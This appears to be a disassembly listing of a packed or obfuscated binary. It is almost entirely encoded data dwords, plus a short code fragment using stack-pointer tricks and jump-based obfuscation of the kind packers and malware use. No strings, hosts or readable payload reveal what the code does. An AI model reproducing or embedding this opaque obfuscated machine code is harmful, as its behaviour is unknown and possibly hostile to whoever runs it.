		dd 9998D47Eh, 6D9AF654h, 84515435h, 5557B388h, 838280C9h
		dd 1DE42EB3h, 570A0827h, 5888449h, 0D38A0F32h, 97E369B8h
		dd 5BA64489h, 32938958h, 0D38A0F24h, 0FBB75D88h, 749D29B8h
		dd 0D38A2FA6h, 69B50812h, 0B79FB460h, 0F3AFAA11h, 0FF5F6914h
		dd 0A7F0FFFFh, 87EC245Ah, 59EA2EEAh, 819E8A57h,	0C9141DEAh
		dd 9D29C453h, 327C8180h, 0EB17DA27h, 87F3998Ch,	46D4C47Ah
		dd 487F5F72h, 0E2D8E8BDh, 2314F388h, 3Eh, 37024BDBh, 0FBD38A67h
		dd 0D10BE62Ch, 0E2EB7370h, 0D9B2A16Fh, 0E4ED36B3h, 0A70B2149h
		dd 9DDC66A5h, 6273B00Dh, 0B2A15661h, 0C74FDAD9h, 44A6C37Ch
		dd 0DA7AC20Dh, 2DB46DFh, 5FC6h,	70D17B00h, 8B1BEB73h, 8AC7F7C2h
		dd 66AE3BD3h, 0F38EA593h, 0A2074A53h, 1C0BD9B2h, 0A7F74AD2h
		dd 0F15DEA26h, 41407C23h, 0AAE980BCh, 33CE1B19h, 0E56FBA05h
		dd 20EBAE78h, 9F2A0901h, 796B11B4h, 0F343DBC8h,	0D04F6A63h
		dd 54D3D9B1h, 0F02CB9FBh, 5F92FB5Bh, 0A3DFD9A9h, 161BE644h
		dd 25DA4BCBh, 99975AA7h, 6E3CC1C0h, 0DF2F3CE5h,	0ACD07CB6h
		dd 8561BCD9h, 3DEBFA38h, 3823CE6h, 0D9ACD034h, 25CA7087h
		dd 0ED10F77h, 20BEh, 70D1C300h,	0F4E2EB73h, 34D9ACD1h
		dd 835233E9h, 0F4D9ACD2h, 289619A3h, 0E90ED111h, 0D7h
		dd 975AA770h, 3FBEC099h, 4840A32Fh, 6E2F45D8h, 327F0AA4h
		dd 2ACEE9E0h, 0D752D38Ah, 7DAB367Ah, 441D0BA6h,	0DAAAB03Dh
		dd 8A2AA8B3h, 91BD68D3h, 304458B1h, 0B3FED38Ah,	80819C2Eh
		dd 0E35CC77Dh, 9F6D64C6h, 63D9AC3Eh, 0B46DE684h, 4E055004h
		dd 13AE0CBDh, 83E3470Bh, 0C68D9BA5h, 1EC58C5Ch,	0E2DFD10Dh
		dd 3EAB2707h, 91DED2A9h, 0C92A0D44h, 33EEDFD0h,	532EBE64h
		dd 65F8824Bh, 40919219h, 40A07FD4h, 0BA10D408h,	0DBEAE826h
		dd 0B0000001h, 41DC6E6Fh, 15E8B23Fh, 0DD20FA0Fh, 0E4790DD8h
		dd 0CE8B539Ah, 0CD0C120Dh, 17DE2439h, 58A9EA77h, 6F72BF82h
		dd 523B03DFh, 0CD62DA87h, 0AAD2AF8Bh, 0AA3B47DAh, 99BCA17Eh
		dd 99D38AC8h, 0C1CD8082h, 929F6238h, 0D1C2BF4Fh, 0E2EB7370h
		dd 0D9ACD1F4h, 5233E934h, 0D9ACD283h, 9619A3F4h, 0ED11128h
		dd 0F2E9h, 5AA77000h, 7DCD9997h, 7F041911h, 0D3309245h
		dd 0D38A4708h, 35E3EE32h, 63AE3B1Eh, 0FE95A29Eh, 70D21F61h
		dd 0DC48919Dh, 8A4BADF1h, 874A57D3h, 137B17E7h,	0D0EA4DB4h
		dd 0AC397CD5h, 0E67BDB70h, 2DA569Bh, 0B46075BFh, 0F3ACB79Fh
		dd 0C7839A45h, 22F937BAh, 95272824h, 0A7656CFEh, 5CD9ACBFh
		dd 533C2C1h, 0C04D6861h, 56CDD9ACh, 0F2AA3BBh, 13D9ACC0h
		dd 0F0690E14h, 56AA90B2h, 58976FECh, 0EDB8978Dh, 1079C959h
		dd 0D9AC4345h, 6FF45EC5h, 3C55B1B2h, 0DFD0FFE6h, 926FFF2Ah
		dd 7DCA4693h, 62AC31D1h, 0EE73C39Bh, 1AF75FA2h,	296BD514h
		dd 5BBA10E3h, 0BCF7E5h,	8E910000h, 5EA2BF4Fh, 2E76CB93h
		dd 0F73E03DBh, 0B9C558E2h, 6EEF6A30h, 1EAC2D71h, 54F6FF03h
		dd 633BCAC9h, 0BC4E939Eh, 667118E0h, 0AACD62D9h, 57A7F14Ch
		dd 2869F496h, 0A75C01A5h, 0C099975Ah, 9E6E3CC1h, 7106D9F2h
		dd 888AE1A7h, 6501CCD5h, 0F6549998h, 794C6F66h,	51CCD38Ah
		dd 135233CDh, 16FA8A25h, 0BC9FF646h, 4BFA8A24h,	8A253702h
		dd 0E92CFBFAh, 0DB71032h, 0C99D60A1h, 0E6EF2D74h, 0FA8A24D3h
		dd 79DC256Dh, 401917A2h, 9984B045h, 29A5048Eh, 1C18F0F7h
		dd 73C181C9h, 2E73EE34h, 0FB061BA3h, 6705D0B9h,	5105FA8Ah
		dd 8A671D38h, 6B061DFAh, 37260DCh, 97000000h, 58A761E0h
		dd 0C3CE9B91h, 2C77023Eh, 90926FA5h, 0F03ECB41h, 58A633E9h
		dd 0C7CE9B91h, 296B0632h, 878960DCh, 8158CE7Ah,	4ECh, 242C8900h
		dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 6068243Ch
		dd 89000037h, 0A168241Ch, 8900001Ah, 15BD242Ch,	8100F40Ah
		dd 0A44F0CE5h, 0C4F5816Dh, 810AFB0Eh, 0C6057EEDh, 81D5F700h
		dd 0C0DAB7C5h, 5DEF890Fh, 8904EC83h, 4812424h, 424h, 0EC835B00h
		dd 243C8904h, 8B08438Fh
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_50F6C5
; ---------------------------------------------------------------------------
		dw 3C93h
		dd 1DDD234h, 17B8A36Dh,	30627F0h, 13E0FFC5h, 0AD3A0E2Ah
		dd 0A621FE3Fh, 0E8498786h, 0Fh,	11AE1A96h, 99028116h, 1FA091Fh
		dd 6675BEECh, 5FFCD2BBh, 87C781FCh, 81000068h, 858BC7DAh
		dd 19EEBE1Eh, 10E80000h, 0EE000000h, 5806F0CFh,	2B6AEAFAh
		dd 0F21C25F4h, 0E9D2A429h, 6, 383B2DF8h, 0FF592E4Ah, 5866B537h
		dd 8193D380h, 999E47F0h, 81CFB36Dh, 8C07A9E8h, 0FCF78022h
		dd 0A430F081h, 89FC5C32h, 57515707h, 815B5A5Ah,	0B923E0EFh
		dd 0D4806060h, 12E95Ah,	0DCAA0000h, 5F9AC863h, 0DBB0ABF8h
		dd 877E075Eh, 0E5821F0Ch, 0DCC78161h, 0F60B923h, 386h
		dd 85E98000h, 1EE81h, 850F0000h, 17h, 0E9C0D380h, 1Fh
		dd 0A64A200Ch, 18521FDCh, 5D5FE58Fh, 803FC6FBh,	7CE937C5h
		dd 12FFFFFFh, 0DE37195Ch, 8D705119h, 27F2608Dh,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0BCC31DA6h, 0E253F8B7h, 20D5852Bh, 8B660622h, 8D89FCDFh
		dd 62233F1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0CCC35141h, 510994h, 56186C6Dh,	21D19D89h, 0C75A0622h
		dd 222D3185h, 588C06h, 0F0BF0F00h, 30E585C7h, 622h, 14E90000h
		dd 34000000h, 0C6BBE407h, 3891B6FFh, 82437AD0h,	8A392AA1h
		dd 0FFE9228Ch, 22140DB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0F303C862h
		dd 6595FF99h, 23062220h, 22310585h, 0FF006A06h,	22307595h
		dd 0EBC08B06h, 7B182E58h, 0B83DF94Dh, 0EBF114DEh, 0AA096F40h
		dd 222BB820h, 36B51EDEh, 2CC23F38h, 3E8DD63Fh, 0B711B155h
		dd 362BBC37h, 75D45FE6h, 0BC2251BBh, 0B8592C64h, 7361843Ah
		dd 0D5C41DC1h, 5E4BA940h, 9E40D37h, 5A50E101h, 16A6B43Fh
		dd 0E15B28F8h, 213A2FEAh, 426043E0h, 81C08B69h,	58492DF2h
		dd 0DDBD8375h, 62208h, 0BD830975h, 6220A21h, 50197400h
		dd 0B8C08B53h, 3FCh, 1B398589h,	9D8D0622h, 624BFC9h, 585BD3FFh
		dd 0A21BD83h, 74000622h, 0B8535017h, 3FCh, 1B398589h, 9D8D0622h
		dd 624BCB8h, 585BD3FFh,	0C8E0Fh, 8F0F0000h, 6, 1EB2C281h
		dd 6A3572h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 85E7DAC3h, 95CA4382h, 6660600Dh, 5B51F98Bh
		dd 61D08A61h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0DB19B8C3h, 4D085671h, 10E98298h
		dd 0DA000000h, 0C40A36B7h, 30A825C8h, 2504E08Ch, 83A17BACh
		dd 2200F5BDh, 840F0106h, 28h, 0BD8343B7h, 6222209h, 19850F00h
		dd 81000000h, 0FB21FCF2h, 75BD8317h, 62218h, 0A0840Fh
		dd 0CB810000h, 75B25611h, 3CEE9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 10402654h
		dd 4860F58h, 66000000h,	8191CFBAh, 0C72BD3C2h, 40h, 8C0F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 6B9CC356h, 1F19F47Fh, 13E83489h
		dd 0ED000000h, 0C8DD43CBh, 6DE6E444h, 0B09C02C2h, 0FB2A1BE2h
		dd 820F0265h, 6, 840Fh,	605A0000h, 6E8h, 64DE0800h, 0B9344936h
		dd 4E73C03h, 16AA6158h,	0A5B4465Fh, 4B9FB2E4h, 0A3E4B28Dh
		dd 0FDB1ECAEh, 0A71DC607h, 0A7B8F60Fh, 0A34EB297h, 0CBE4E4C8h
		dd 0F21820DDh, 6148D41Ch, 26691C94h, 0A557E5CBh, 73C66205h
		dd 4BCFB2E4h, 0A34EB28Dh, 0F8E4E9AEh, 0A7B7EE07h, 0A7EDF60Fh
		dd 0A3E4B296h, 90B1E1CDh, 903549FDh, 0DA756805h, 0F34EB28Ah
		dd 0A327A366h, 7FED088Eh, 0DD0EB379h, 53B695C9h, 9B5E272Dh
		dd 0F8CCB82Bh, 0A374E7D4h, 0FE4EB28Eh, 57F05F0Fh, 0A3F9B4A9h
		dd 0A3CA5ADFh, 0FAC4B28Eh, 0EFFBEB4Dh, 0E7B8B6AAh, 0A38AB6AAh
		dd 0F20FB28Eh, 3EE3974Dh, 4A7833DEh, 0F8C5CBB1h, 132F33E8h
		dd 0A7FCBDA8h, 0C539B28Eh, 28EB4D35h, 8EF4224Eh, 0F3562069h
		dd 0AD7AE0DEh, 3EC9B28Eh, 0A84DB223h, 0CA2254FFh, 0EDAF944Ch
		dd 0F3ADBDBCh, 0F47FBDDCh, 0F97FE8D5h, 0A3F922D6h, 0A3CA5ADFh
		dd 0FAC4B28Eh, 0EFFBEB4Dh, 0E7B8B6AAh, 0A386B6AAh, 0F20FB28Eh
		dd 0EB66654Dh, 0A309667h, 8785B381h, 27EBE270h,	0A372B288h
		dd 0A3393281h, 0FBC6B28Eh, 630BEF34h, 0A12BB7C4h, 0A3F9B28Eh
		dd 0A3CA5ADBh, 0FEC4B28Eh, 0CFFBEF4Dh, 0E7B8B6AAh, 0A387B6AAh
		dd 0F60BB28Eh, 0EC0AF64Dh, 1F511D85h, 0C9C1390Ah, 0A00CE48Eh
		dd 8372B28Eh, 2A6771D0h, 229896FAh, 0B94A96CAh,	0E527B28Eh
		dd 0F7A371D8h, 0ED4B4CA4h, 2282E0E8h, 0F97F474Dh, 5F7139E8h
		dd 0A39C3F81h, 0A7FDB28Eh, 0A327B336h, 0F193D88Eh, 0A3C9B166h
		dd 60BE928Eh, 87263BD4h, 877D338Ah, 0A39CAE8Ah,	601CF08Eh
		dd 0E95ED1D5h, 0F5BC045Bh, 0F19923E0h, 2FEB8381h, 0A372B28Ah
		dd 0A2AE08E8h, 19CCEAD4h, 0A172D505h, 7398BD1Fh, 0C94A3EE8h
		dd 0A021E78Eh, 83E4B28Eh, 2A2F71D3h, 223D96E2h,	0B89896CAh
		dd 0E64EB28Eh, 8FFA71DBh, 67D61A4Eh, 623FE7B3h,	8A61BD8Ah
		dd 0C972B28Fh, 0A0D1E28Eh, 839CB28Eh, 2A1671D6h, 222396CAh
		dd 0BF9796CAh, 0E3C9B28Eh, 0D33D71DEh, 0A90A08F0h, 4AFBBDF8h
		dd 0A39CB29Fh, 297E44E9h, 8418F143h, 4E591954h,	602C79C1h
		dd 0F8B2EB0Ah, 0A372A667h, 5257818Eh, 1E1352B3h, 221A4F3Eh
		dd 0ED1BDF5Eh, 0B12F8276h, 0CBF032F1h, 0A3013781h, 0A318B28Eh
		dd 0A33A5ADFh, 0FABCB28Eh, 0EFC7EB4Dh, 0E7A6B6AAh, 0A388B6AAh
		dd 0F288B28Eh, 89C23C4Dh, 8FE67356h, 8083D4A7h,	0A2E539F5h
		dd 0A3413481h, 4A75B28Eh, 0A393B286h, 699DA262h, 9487ABFEh
		dd 0A38D33D5h, 0ACB9B28Eh, 0A39C280Ch, 2A41E48Eh, 0A327B28Ch
		dd 64C9E8DEh, 843A470Bh, 0A3E4B388h, 2C7DE58Eh,	0A339B28Bh
		dd 8C8C6E34h, 0DBA7E9FFh, 0C927B28Eh, 0A07BE58Eh, 83C9B28Eh
		dd 2ABB71D1h, 227696F2h, 0B83D96CAh, 0E49CB28Eh, 0FF9F71D9h
		dd 9D228008h, 0ACC4CE13h, 0A3C9B70Bh, 0BF00098Eh, 4A2983E7h
		dd 0A339B2B1h, 4BCDB2E4h, 0A34EB28Dh, 0FAE4EBAEh, 0A7B7FE07h
		dd 0A7EDF60Fh, 0A3E4B292h, 0DBB1E3CFh, 582F099Ah, 22D69F0Fh
		dd 0C57601D7h, 5C2CCB0Dh, 0A39E3681h, 6435B28Eh, 8417470Bh
		dd 0A372B388h, 0EBBC058Eh, 1AA77C0Eh, 8DF4AA42h, 5A583703h
		dd 1E1EB4A9h, 0A5EE4521h, 0A4904AB5h, 6AA3BDBEh, 0C9CC59C9h
		dd 0A074E78Eh, 834EB28Eh, 2A7A71D3h, 229796E2h,	0B5CD96CAh
		dd 0E6E4B28Eh, 2DD71DBh, 0FCF63203h, 4BFC47EEh,	0A34EB29Eh
		dd 4DFAD388h, 0EBF71AA7h, 6D3935BCh, 9AF7BE55h,	0C913D3D5h
		dd 0A0D1E38Eh, 839CB28Eh, 2A1771D7h, 222396C2h,	0B79796CAh
		dd 0E2C9B28Eh, 0C5F771DFh, 1EF16D05h, 0A51BB27Bh, 8818BD8Fh
		dd 0AC4EB28Eh, 0A327B305h, 44134A8Eh, 0AA743185h, 0A3E290ACh
		dd 0A3663781h, 2C8BB28Eh, 0BBE90F0Dh, 0AC4EB4ACh, 0A327820Ah
		dd 0E9AF098Eh, 4A20D7F4h, 0C9E4B28Eh, 0A09AE28Eh, 8339B28Eh
		dd 2AC471D6h, 224A96CAh, 0BF2396CAh, 0E393B28Eh, 27C671DEh
		dd 3E327D2Ah, 1156A9CAh, 568431A4h, 0A29A908Eh,	0A3C53781h
		dd 0A34DB28Eh, 0A3905ADEh, 0FBE9B28Eh, 0E76DEA4Dh, 0E7F3B6AAh
		dd 0A321B6AAh, 0F3DCB28Eh, 1685CD4Dh, 79ACA6DFh, 0F193D8D3h
		dd 0A3C9B166h, 60BE928Eh, 87263BD4h, 877D338Ah,	0A39CAE8Ah
		dd 601CF08Eh, 3A3CB5BFh, 2AEED328h, 60D90074h, 0A3E23681h
		dd 68F3B28Eh, 0A6B4C39Dh, 0A39CE967h, 0F04ED88Eh, 0A327B166h
		dd 60C8928Eh, 87953BD5h, 87A0338Ah, 0A372A88Ah,	606AF18Eh
		dd 80D4191Eh, 4AD2BF71h, 0A327B287h, 687172A8h,	0E808ABE0h
		dd 5464EF38h, 0A3187D82h, 0A33A5ADDh, 0F8BCB28Eh, 0FFC7E94Dh
		dd 0E7A6B6AAh, 0A387B6AAh, 0F08AB28Eh, 2882454Dh, 0A4C8E456h
		dd 0F92EC18Dh, 57C60F03h, 2EC3B4A9h, 0A5004BC2h, 99CFAF36h
		dd 0AA4C81F5h, 88E2908Eh, 421A7341h, 38DF4AAh, 0A95A5837h
		dd 211E1EB4h, 0B5A5EE45h, 0BEA4904Ah, 0C96AA3BDh, 0F305E983h
		dd 0F5BD83A4h, 627F3h, 8D8D0D74h, 62250B1h, 1B8h, 40E1FF00h
		dd 0EC06BB66h, 0BA7B3DBAh, 50006A11h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 2DE88302h
		dd 13E9h, 77C54B00h, 0CDFB92A3h, 2BC28CAAh, 90A234CCh
		dd 6D68093Dh, 0C381C08Bh, 544958C4h, 8DDBD83h, 75000622h
		dd 21BD8309h, 6220Ah, 53501974h, 0FCB8C08Bh, 89000003h
		dd 220E5985h, 309D8D06h, 0FF0624C0h, 83585BD3h,	220A21BDh
		dd 17740006h, 0FCB85350h, 89000003h, 220E5985h,	0D19D8D06h
		dd 0FF0624BCh, 66585BD3h, 6A5501BBh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0E7F6C352h
		dd 6A5A2D11h, 812BA5FBh, 0EEBDD8DBh, 0E9C08B61h, 0B5h
		dd 5CAB4B7Ch, 94h, 5, 1, 0A28h,	2, 27h dup(0)
		dd 0B94E900h, 0AE680000h, 0E90627FCh, 0FFFA87D7h, 27FDCE68h
		dd 87CDE906h, 0C868FFFAh, 0E90627FEh, 0FFFA87C3h, 27FF3568h
		dd 87B9E906h, 6968FFFAh, 0E9062800h, 0FFFA87AFh, 2800C268h
		dd 87A5E906h, 0E768FFFAh, 0E9062803h, 0FFFA879Bh, 2804FE68h
		dd 8791E906h, 5825FFFAh, 0F09B84EFh, 88F73853h,	1A6F50BBh
		dd 0B5D9C621h, 690B7F96h, 86E15E20h, 3B52F199h,	0AEB982F6h
		dd 0C9201B61h, 97A3791Eh, 7A411DC0h, 5774CD4h, 0B8C4E93Ah
		dd 5F14648Fh, 3B526636h, 0CA83473Ah, 50CB640Ch,	4679340Dh
		dd 597FC21h, 473A62F5h,	0BD4F9518h, 49181AB6h, 6EBA7267h
		dd 5B41185Ah, 185AB9C1h, 0E0515C41h, 8B598ACDh,	41185A7Bh
		dd 98E73485h, 0E53B7AABh, 0B8B5DC1Ch, 1D4BD176h, 44h, 64AB5805h
		dd 41666903h, 20F4918h,	9990CC77h, 7784C112h, 44E63A05h
		dd 41183130h, 0DDAEEBCEh, 0EA2D1A60h, 0DB267AB9h, 0D1F76A9Dh
		dd 0E6C24BD1h, 0F5000000h, 0B28F1E0Ch, 0CA7C5D14h, 1156660Bh
		dd 6F075D9Ch, 45340577h, 78C3B5FAh, 0B0C9082Bh,	3B89D14Bh
		dd 416C473Ah, 0D9A5CA13h, 88F4396Ah, 3B416EBFh,	0E1AAE700h
		dd 0E5622D62h, 0D9F454BFh, 32473A37h, 8196F14Ah, 71B945C0h
		dd 0B4E8FFC4h, 2344FF8Dh, 76A7A4D6h, 0B0DCE937h, 811B7CC3h
		dd 49185A46h, 0AC8DE4D7h, 0F12F1C6Fh, 42A7ECE7h, 3C8951AAh
		dd 1A7F3E4Fh, 0B691F835h, 42964665h, 0B74B7CDEh, 80BFCB04h
		dd 8DCC1053h, 2BFBFE80h, 9F5AF5FAh, 0EFD03B7Ah,	0F8D6A09Fh
		dd 65EF97F9h, 92ED554h,	0B4D90000h, 4C3F608Bh, 0E4AB94FFh
		dd 76030C67h, 117DA2CDh, 0DEFDB32h, 628DBAC4h, 97FE4D3Dh
		dd 0A65DEAAh, 0A5CC7705h, 3B4FDDBAh, 0DE411DC7h, 525FE838h
		dd 0A7C21E2Dh, 380168D7h, 6AB691FBh, 0EB023D4Fh, 64AB5833h
		dd 41666903h, 0E4D74918h, 0BF6D52B7h, 4118316Bh, 57F12F8Eh
		dd 41183107h, 14F870F9h, 312D7D2Fh, 53844118h, 1B2EEFC8h
		dd 25DEDD62h, 82142DE6h, 1C3864ECh, 4BD16661h, 0D674h
		dd 577A200h, 0BAC4E93Ah, 18C588Dh, 0FA473A37h, 77D4A792h
		dd 74D5BD26h, 3F9CDBDBh, 6D52BDFCh, 0C1642A1Fh,	3A1C1F2Bh
		dd 78BBF247h, 84C9082Bh, 444A8B78h, 7EA3C407h, 0ACF14E31h
		dd 5E895381h, 0CF491877h, 0F6A68BECh, 411879A2h, 0D7386457h
		dd 7AC9B5C2h, 84D60A29h, 9E6780CFh, 9271ACF9h, 7366BA74h
		dd 3CD12DB9h, 1C7D304Fh, 0C0A3BEABh, 4997B709h,	0DA622308h
		dd 0E15A2E67h, 0DB368714h, 0A7A9B8B7h, 0F8246721h, 177ECDB1h
		dd 0A6E9642Ah, 0A8906699h, 35EF96F7h, 80E65E4h,	0D4B90000h
		dd 6C1F006Bh, 48BB4DFh,	96E32C47h, 315D42ADh, 0ED8FFB12h
		dd 26DDAA4h, 0B7DE6D1Dh, 2A45FE8Ah, 45AC97E5h, 1B2FFD9Ah
		dd 0FE411DC6h, 777C858h, 9CE0D138h, 77D248A3h, 0FB443405h
		dd 1B488BAAh, 7BAB05FEh, 75128911h, 0C17A022Fh,	0B06C51A6h
		dd 473AA668h, 9BE12E8Dh, 691A7CA0h, 532FFD1Ah, 9E491BECh
		dd 5A5B2425h, 96CA5770h, 0BAF7109Bh, 391E69D2h,	60B592FCh
		dd 0AD4D1F45h, 0BF411264h, 9967C0C1h, 0A7223353h, 79A00D64h
		dd 0F6136013h, 0FF91510Dh, 3A77CB5Bh, 0A6ABE952h, 78801C41h
		dd 9D41126Dh, 1F38C21Eh, 4F307Eh, 0C85BC9ADh, 7DB9C8EDh
		dd 0ADF34C30h, 0E6BB8ABh, 0BA277329h, 513AE729h, 96E4DF2h
		dd 29BA4793h, 0DD03AAE7h, 9497E0BCh, 3578E90Bh,	0A0EFE4E0h
		dd 4933D547h, 8F2EEF29h, 0E45F2D6Ah, 4FF8848Dh,	82FD87BBh
		dd 44DBD44Fh, 714h, 1A75CEBFh, 8ED96615h, 2641FE81h, 5CB790F9h
		dd 0F51C2B53h, 0D4BAF3F5h, 67131C77h, 0F880B1D8h, 91FB244Fh
		dd 0C3945FB6h, 1DC50129h, 0C65EF441h, 364AB58h,	0E2D6D242h
		dd 0B0F139ABh, 2F227EC9h, 1B33657Dh, 44A50849h,	0EC074437h
		dd 3A6BD8A3h, 6AC064DDh, 97C48308h, 3EEEAF54h, 49337EA2h
		dd 0D92C08FEh, 60B1F5B5h, 6A799h, 3B4200h, 74D3B8E9h, 0DC6B141Dh
		dd 42FD8CB5h, 0AB98E62Bh, 4D866640h, 0A6EB0241h, 131C77D4h
		dd 8EB3DA65h, 232A45FEh, 0C4B2C656h, 0B367411Dh, 2D525F73h
		dd 72AECD1Eh, 0C3246B18h, 1B714929h, 0E597E449h, 0B6EA095Ah
		dd 0DAD7307Bh, 1E7E89B2h, 2EFE1B62h, 411DC10Eh,	1E7BA803h
		dd 0C1576339h, 0F3BA411Dh, 0C1C81BADh, 0A9D5411Dh, 0D7C4A320h
		dd 0D4CA2E4h, 5EE993D8h, 1E5A070Dh, 3BBD2408h, 0CC2A5914h
		dd 4B7C4Bh, 0AE170000h,	0A00E24FEh, 1E3A28D4h, 0AB520FF4h
		dd 5F42124Eh, 0C51B2852h, 7196DD93h, 3A3B63BBh,	82ED5647h
		dd 817E0856h, 1B9D8B70h, 30CF7027h, 558635ECh, 3A637787h
		dd 0A8C08947h, 0F37FEC61h, 7C951h, 0A5510000h, 17Dh, 81E65F89h
		dd 902B79B2h, 9F701D43h, 357C52Ah, 0F6473AA2h, 69C3EC7h
		dd 50D2668Ch, 0CA19CA0Ch, 0F5A4FFADh, 62494918h, 8C9C1280h
		dd 0A95AE783h, 146F3D5Ah, 0F9FCD5D5h, 706361B2h, 0C0C9C623h
		dd 64385987h, 0F2F308E2h, 0DEDB3C7Fh, 50EF9BAEh, 0C3C9F611h
		dd 0BEA88E78h, 0E43539C8h, 57365h, 0D46F1E00h, 380774BDh
		dd 0A09FE0D1h, 16315849h, 7FCCB2FFh, 19521214h,	72BFD675h
		dd 0EFD03B08h, 5A47AE99h, 77FE0932h, 3B7E8A62h,	0FF934112h
		dd 34057727h, 8BAAFB44h, 98E22F48h, 345075ABh, 597F03Fh
		dd 4918347Eh, 0BCE50CAFh, 918377D0h, 1EF5BC19h,	51A320Dh
		dd 0C8B50000h, 602B147Fh, 0F88788E3h, 8AFF204Bh, 256956B1h
		dd 0F9FBCF26h, 1671CEB0h, 8BE26129h, 3E49F286h,	59B08BF1h
		dd 753C9AEh, 0EA41123Bh, 577FC24h, 0B8C4E93Ah, 97056A8Fh
		dd 473A3B43h, 8CD907B6h, 88F70465h, 154B6ABBh, 2468CC2Ch
		dd 0B5E66515h, 0F2351278h, 0C7BA58B3h, 1251F3D7h, 23h
		dd 64AB5838h, 1BCE6903h, 723F4918h, 0AFFC3F0Ch,	181BC91Dh
		dd 2E4A3741h, 0D1BB661Bh, 3F734Bh, 58DB0000h, 690364ABh
		dd 49180BF6h, 340FC6BFh, 74FCBC2Fh, 5DBAF128h, 0F51C2B50h
		dd 183E0053h, 0D46F1D41h, 291266B3h, 0D4A7E8EBh, 3E8FDB51h
		dd 4B624118h, 9BC87306h, 75F41958h, 458h, 0DEAB58D9h, 6B87BCE7h
		dd 0D334772Ah, 62D7A1EEh, 0B7ED2C17h, 1874B615h, 47327F49h
		dd 0F78CAFFCh, 77C01456h, 6EDBF9C7h, 0ABD11E4Fh, 5C954390h
		dd 0F73C371Ch, 1C60AD92h, 0AE9DEE23h, 58E23E7Dh, 4F3A1143h
		dd 0F3005954h, 6C69BA85h, 7E6168B0h, 0EF2E8D4Bh, 1B61AEB1h
		dd 0E291F320h, 738B7C9Dh, 8627CDABh, 9C10419Fh,	455CB543h
		dd 722A0F74h, 555CB526h, 0E830E0CBh, 0D555CB5h,	2D1A61AEh
		dd 0AA67BDF8h, 0EF9DD203h, 0C409325Ah, 0F8356699h, 6967B493h
		dd 0E2AC88E0h, 470A2265h, 0CE790321h, 519E55A7h, 0B3D36438h
		dd 713C5B7Eh, 0C27D0F2Ch, 0B236BB91h, 59A65Dh, 90A1DB6Ch
		dd 6E793451h, 0B3E05B21h, 6FBB7156h, 82599091h,	0C2CCF52Bh
		dd 6D3F6485h, 5990915Dh, 86A7FDB0h, 0F6272069h,	2469D6B9h
		dd 4DE107EAh, 0D636B2BFh, 4B89B6D9h, 8AE55E2Eh,	0D6AB9AAh
		dd 0B291449Fh, 0D102A957h, 3257F09Ch, 99A12751h, 0E20152F1h
		dd 0B0ABDC19h, 0EF3596Ch, 216E65EAh, 0D0B54C8h,	0B9F46DD4h
		dd 201B61AEh, 7BCEBEF3h, 0E1E63714h, 0D40DFF0Bh, 589B126Dh
		dd 0ACE9CE19h, 221D6CDDh, 2273B2F1h, 63FB45B9h,	6EA1D959h
		dd 0E42BD832h, 0DB21C283h, 0A1B8BD11h, 48391E73h, 2C97B6B3h
		dd 0B3DB1482h, 0B1BE4894h, 0BE63F6C9h, 0EF3C0771h, 1C9990CCh
		dd 4192D572h, 2AA963B3h
		dd 0D73C9D76h, 2AA93545h, 8FD5D876h, 4E0346A2h,	0A720E345h
		dd 2625DADEh, 0E910ED56h, 8489D72Eh, 34h, 64AB5892h, 41666903h
		dd 0E4D74918h, 31D1E5B7h, 4A2F4118h, 0D8043F4Dh, 7DF01751h
		dd 944BD1D1h, 2A1962AFh, 0DEEABAF9h, 3341183Dh,	0E4F92478h
		dd 21000000h, 0E93A0577h, 588DBAC4h, 0ABD06913h, 5C224F9Ch
		dd 3C7FBEEFh, 0F983A8FDh, 2865274Eh, 0E9473A37h, 3C61DEACh
		dd 0F686A3F1h, 9DEF2C4Dh, 2C157EA2h, 0F5555D60h, 0A1AEC91Bh
		dd 0EE211E60h, 5FA45FBDh, 0A09623Ah, 0A7164918h, 43298142h
		dd 72377E8Fh, 7B738715h, 17A64118h, 0BDB686C9h,	7B9B1176h
		dd 0D64F3C3Bh, 3B1F2BC1h, 0BBF24B7Dh, 6C121F78h, 7EA3B4DFh
		dd 7D3B9AAEh, 0DB3C7F4Bh, 7D3B3941h, 83D1DC4Bh,	5F2B1866h
		dd 0EF972243h, 0F578C7D0h, 90000001h, 0F63B52EDh, 62AFC685h
		dd 0DAC72E1Dh, 347D94AFh, 9492FD4Ah, 54F39BD4h,	0B986F43Dh
		dd 2C1761AEh, 97B0DCC5h, 8E4F57Ch, 411238E0h, 77A14115h
		dd 0E0D13807h, 0C317859Ch, 36473A3Bh, 0D6234487h, 277499A2h
		dd 84A7F453h, 0C7800C45h, 5FDC7699h, 3B96A27Ah,	307B473Ah
		dd 0AAF9EAECh, 41ACDF4Dh, 90814918h, 0D6910345h, 5687C683h
		dd 18357686h, 0EC298841h, 67E4AAA3h, 68B4F724h,	2D206781h
		dd 884BD1CEh, 0F5h, 34057796h, 0BB88F34Ah, 0C9084B6Ah
		dd 3E275784h, 3A3B5A6Eh, 0B3FCBF47h, 0EA3B7AC5h, 3A37735Ah
		dd 67E0AC47h, 7479030Ch, 5B494BD5h, 4390D30Ch, 3F4B2106h
		dd 0D2473A2Fh, 3EA522DBh, 74AD00CDh, 0EE352E28h, 49E3A489h
		dd 0C8EB2B3Dh, 87AA5915h, 9ADDCED5h, 64CBA446h,	0F0C4918h
